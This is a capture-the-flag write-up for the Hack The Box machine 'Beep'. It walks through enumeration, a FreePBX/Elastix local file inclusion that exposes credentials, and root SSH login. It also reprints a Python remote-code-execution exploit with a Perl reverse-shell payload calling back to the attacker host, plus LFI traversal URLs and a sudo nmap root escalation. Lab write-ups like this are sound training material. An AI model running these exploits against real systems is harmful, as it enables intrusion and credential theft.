Beep from Hackthebox, is a fairly easy machine that multiple exploitation paths. The first path we will take is direct to root and involves a little enumeration, identifying an exploit and a few good guesses. The second path, will involve examining a second exploit that does not work in its default configuration. A key piece of information is required for the exploit to be successful and return a reverse shell. From there the privilege escalation is straightforward to escalate to the root user.
Enumeration
Initial enumeration of the machine was done with: `nmap -sC -sV -oA nmap/initial 10.129.78.9
-sC for default scripts
-sV for service version enumeration
-p- for all port s
-oA to save the output to a file as .nmap, .gnmap, xml (all formats)
Following a scan of all TCP ports, the results below show only port 80 is open which simplifies what to look at next.
# Nmap 7.94 scan initiated Thu Oct 26 11:06:40 2023 as: nmap -sC -sV -oA nmap/initial -p- 10.129.78.9
Nmap scan report for 10.129.1.226
Host is up (0.029s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp?
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp open http Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://10.129.1.226/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp open pop3?
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 937/udp status
|_ 100024 1 940/tcp status
143/tcp open imap?
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
|_ssl-date: 2023-10-26T15:11:24+00:00; -1s from scanner time.
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
940/tcp open status 1 (RPC #100024)
993/tcp open imaps?
995/tcp open pop3s?
3306/tcp open mysql?
4190/tcp open sieve?
4445/tcp open upnotifyp?
4559/tcp open hylafax?
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.570
Service Info: Host: 127.0.0.1
Host script results:
|_clock-skew: -1s
Review of the initial nmap scan we identify that port 80 is open. More often than not we should start enumerating directories while we look at something else. So to start we kick off gobuster against port 80 with the following arguments.
dir specifies gobuster should use directory/file enumeration mode
--url specifies the url
--wordlist specifies which list of words to use. I like directory-list-2.3-medium.txt as it is a good mix of words without taking too long most of the time
-o to save the output to a file
-k to ignore certificate errors
gobuster dir --url https://10.129.78.9 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://10.129.78.9
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 312] [--> https://10.129.78.9/images/]
/help (Status: 301) [Size: 310] [--> https://10.129.78.9/help/]
/themes (Status: 301) [Size: 312] [--> https://10.129.78.9/themes/]
/modules (Status: 301) [Size: 313] [--> https://10.129.78.9/modules/]
/mail (Status: 301) [Size: 310] [--> https://10.129.78.9/mail/]
/admin (Status: 301) [Size: 311] [--> https://10.129.78.9/admin/]
/static (Status: 301) [Size: 312] [--> https://10.129.78.9/static/]
/lang (Status: 301) [Size: 310] [--> https://10.129.78.9/lang/]
/var (Status: 301) [Size: 309] [--> https://10.129.78.9/var/]
/panel (Status: 301) [Size: 311] [--> https://10.129.78.9/panel/]
/libs (Status: 301) [Size: 310] [--> https://10.129.78.9/libs/]
/recordings (Status: 301) [Size: 316] [--> https://10.129.78.9/recordings/]
/configs (Status: 301) [Size: 313] [--> https://10.129.78.9/configs/]
/vtigercrm (Status: 301) [Size: 315] [--> https://10.129.78.9/vtigercrm/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
While the scan is running its always a good idea to take a look at the webpage in a browser and check the source code. Sometimes this provides a piece of important information. In this case, we identify the webserver is running Elastix but it is not immediately clear which version.
Once complete we can revisit the gobuster results to see if we can identify the version of Elastix. Reviewing /admin
we are presented with a basic login form. While trying a few common defaults such as admin:admin, admin:password
etc, did not yield any results, pressing ESC
presents an Unauthorized
page revealing the FreePBX version 2.8.1.4 is in use. This has not yet revealed the Elastix version but it is enough to get started.
Using searchsploit we can look for known exploits. In this this scenario we see two that are interesting. The Local File Inclusion and a Remote Core Execution. Lets start with the LFI.
┌──(kali㉿kali)-[~/HTB/machines/Active/Beep]
└─$ searchsploit "Elastix"
--------------------------------------------------------------------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------
Elastix - 'page' Cross-Site Scripting | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | php/webapps/18650.py
---------------------------------------------------------------------------------------------
Shellcodes: No Results
Looking at the code of the LFI exploit, we see the LFI is at /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
. By default, this will attempt to read the contents of /etx/amportal.conf
. We can do this first, then modify it later to read other files. Running the exploit is not required, since it is an LFI, we can simply paste the URL into a browser. Doing so we see we are able to read the files contents. While formatting is not the best, since a browser tries to render it as HTML. Using CTL-U
in Firefox, is a shortcut to view-source, which makes it easier to examine. Reviewing the files contents, we see what appear to be credentials which we can possibly reuse.
# FreePBX Database configuration
# AMPDBHOST: Hostname where the FreePBX database resides
# AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql)
# AMPDBNAME: Name of the FreePBX database (e.g. asterisk)
# AMPDBUSER: Username used to connect to the FreePBX database
# AMPDBPASS: Password for AMPDBUSER (above)
# AMPENGINE: Telephony backend engine (e.g. asterisk)
# AMPMGRUSER: Username to access the Asterisk Manager Interface
# AMPMGRPASS: Password for AMPMGRUSER
#
AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
Initial Access
Recalling from the nmap scan that SSH is open, we can try to login as some users with these credentials. We see the crednetial jEhdIekWmdjE
used a few times so should add this to a wordlist for later use. Since we have already validated we can read files via the LFI, we can get a list of users from /etc/passwd
by using the following URL view-source:https://10.129.78.9/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action
. From this we can see a few valid users: root, asterisk, spamfilter, and fanis
.
root:x:0:0:root:/root:/bin/bash
asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash
spamfilter:x:500:500::/home/spamfilter:/bin/bash
fanis:x:501:501::/home/fanis:/bin/bash
Initial attempts to use SSH reveal a Key Exchange Algorithm mismatch preventing SSH from working. However, reading the error message and a quick google search provides a solution. P
ssh [email protected]
Unable to negotiate with 10.129.78.9 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
ssh [email protected] -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 -oHostKeyAlgorithms=+ssh-rsa
Providing a the password we discovered via the LFI on the root user provided a shell as the root user. This provides us access to both flags.
[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@beep ~]# whoami
root
[root@beep ~]# ls -la /root/root.txt
-rw------- 1 root root 33 Oct 28 21:22 /root/root.txt
[root@beep ~]# ls -la /home/fanis/user.txt
-rw-rw-r-- 1 fanis fanis 33 Oct 28 21:22 /home/fanis/user.txt
An extra step
Recall that the initial search for exploits had two viable candidates. The Local File Inclusion that we exploited but also a Remote Code Execution which we should also take a look at. Reviewing the python exploit, we see there are a few things that are required. We need to provide it with a remote host, our IP address and a port number with a netcat listener, and an extension. Reviewing the exploit further, we can see that this a link to a blog post further explaining it. www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
Changing the first 3 variables to match our environment, and setting up a listener on port 4444, we can try to run the exploit unfortunately we don’t receive the reverse shell.
import urllib
import ssl
rhost="10.129.78.9"
lhost="10.10.14.83"
lport=4444
extension="1000"
ssl._create_default_https_context = ssl._create_unverified_context
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
urllib.urlopen(url)
While I don’t that says a valid extension is required, this does seem to be interacting with a voicemail recording and presumably would require a valid extension to be provided. Using the admin credentials we obtained earlier, we can login to the /admin
portal using the credentials. This leads us to a page /recordings
which reveals the extension 233. In the above code, we can change the line extenstion=233
and rerun the exploit. Doing so and rerunning the exploit provides a reverse shell as the user asterisk.
# Run the Exploit
python2 18650.py
#Setup nc listener on port 4444
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.83] from (UNKNOWN) [10.129.78.9] 48226
whoami
asterisk
While the more direct path to root exists with the discovered credentials, this is an other method. While we still needed the admin credentials we could has also used the LFI to read the file /etc/asterisk/voicemail.conf
. Doing so would also reveal the extension 233 for the Fanis user.
view-source:https://10.129.78.9/vtigercrm/graph.php?current_language=../../../../../../../..//etc/asterisk/voicemail.conf%00&module=Accounts&action
[general]
#include vm_general.inc
#include vm_email.inc
[default]
233 => ,Fanis Papafanopoulos,,,attach=no|saycid=no|envelope=no|delete=no
Sorry! Attempt to access restricted file.
Privilege Escalation
After upgrading the shell with python, we can run sudo -l
to see if there are any binaries that the asterisk user can run. This reveals something unusual. nmap can be run as sudo.
python -c 'import pty; pty.spawn("/bin/bash")`
bash-3.2$ sudo -l
sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
Checking GTFOBins we see we can run the following to obtain a root shell:
sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root